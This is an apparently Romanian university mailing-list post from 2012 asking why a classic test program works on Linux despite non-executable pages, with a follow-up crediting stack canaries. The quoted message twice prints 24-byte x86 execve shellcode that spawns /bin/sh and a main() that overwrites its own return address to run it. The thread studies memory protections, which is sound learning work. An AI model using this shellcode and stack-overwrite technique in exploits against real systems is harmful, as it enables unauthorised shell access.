[so] pagini si drepturi de executie in Linux. security. (textul corect, v2)
Alexandru Goia
goia.alexandru.linux at gmail.com
Wed Jun 6 21:55:30 EEST 2012
Buna ziua.
Pentru cei interesati :
Raspunsul la a doua intrebare l-am gasit. Pe scurt : canaries.
Mai detaliat : se pare ca GCC-ul, pentru orice functie, mai complicata
decat declararea unor variabile si atribuirea lor cu valori, genereaza
cod assembler care contine PUSH-uri inainte de a face
PUSHL %EBP ; MOVL %ESP, %EBP. Asadar distanta nu mai este
de 2 words = 8 bytes, de la variabila ret pana la return-address-ul lui
main, salvat pe stiva inaintea apelarii lui main.
Totusi, raspunsul la prima intrebare nu l-am gasit.
Alexandru
2012/6/5 Alexandru Goia <goia.alexandru.linux at gmail.com>
> Buna ziua,
>
> Sa zicem ca avem urmatorul cod sursa :
>
> char sc[]= /* 24 bytes */
> "\x31\xc0" /* xorl %eax,%eax */
> "\x50" /* pushl %eax */
> "\x68""//sh" /* pushl $0x68732f2f */
> "\x68""/bin" /* pushl $0x6e69622f */
> "\x89\xe3" /* movl %esp,%ebx */
> "\x50" /* pushl %eax */
> "\x53" /* pushl %ebx */
> "\x89\xe1" /* movl %esp,%ecx */
> "\x99" /* cdql */
> "\xb0\x0b" /* movb $0x0b,%al */
> "\xcd\x80" /* int $0x80 */
> ;
>
> main()
> {
> int *ret;
>
> ret = (int *)&ret + 2;
> *ret = sc;
>
> }
>
> Ce se intampla in sc[] este un apel execve, pentru un shell (/bin/bash).
>
> Problema/intrebarea este : DE CE acest cod functioneaza ? (Linux Intel
> 32-bit),
> caci daca compilam si rulam pmap si gdb pe el, vedem o pagina read & exec,
> de la adresa 0x08048000, in care se alfa main(), si o pagina read & write
> (but no exec),
> in care se afla sc[], de la adresa 0x08049000.
>
> In main, tot ce facem este sa suprascriem pe stiva (care este read & write)
> adresa de return a lui main(), care suprascrisa trimite la cod executabil
> de la
> adresa lui sc[], dar sc[] este intr-o pagina fara drept de executie.
>
> So, DE CE functioneaza, totusi ?
>
> Am testat acest program si pe procesoare cu NX-bit, si cu kernel NX
> enabled,
> si pe procesoare mai vechi, fara NX-bit, dar care au si ele kernel ce face
> rwx pe pagini.
> (Slackware Linux 13.1, 32-bit, Linux kernel 2.6.33.4, GCC 4.4.4 : ambele
> cazuri).
>
>
> Partea a 2-a :
>
> Daca adaugam un apel de functie la sfarsitul lui main(), de exemplu ca mai
> jos,
> vom obtine de fiecare data segmentation fault.
>
> Intrebare : DE CE aici nu "merge", si mai sus "merge" ?
>
> #include <stdio.h>
>
> char sc[]= /* 24 bytes */
> "\x31\xc0" /* xorl %eax,%eax */
> "\x50" /* pushl %eax */
> "\x68""//sh" /* pushl $0x68732f2f */
> "\x68""/bin" /* pushl $0x6e69622f */
> "\x89\xe3" /* movl %esp,%ebx */
> "\x50" /* pushl %eax */
> "\x53" /* pushl %ebx */
> "\x89\xe1" /* movl %esp,%ecx */
> "\x99" /* cdql */
> "\xb0\x0b" /* movb $0x0b,%al */
> "\xcd\x80" /* int $0x80 */
> ;
>
> main()
> {
> int *ret;
>
> ret = (int *)&ret + 2;
> *ret = sc;
>
> printf("Security\n");
> }
>
>
> Referinte :
> http://www.enderunix.org/docs/en/bof-eng.txt
> http://www.phrack.org/issues.html?issue=49&id=14#article
>
> Cu gandul ca doar cu o cunoastere temeinica a subiectului
> si a feature-urilor de securitate pe care le ofera sistemul de operare
> putem dormi linistiti daca avem servere conectate la Internet :-),
> va multumesc,
> Alexandru
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://cursuri.cs.pub.ro/pipermail/so/attachments/20120606/80243d54/attachment-0001.htm>
More information about the so
mailing list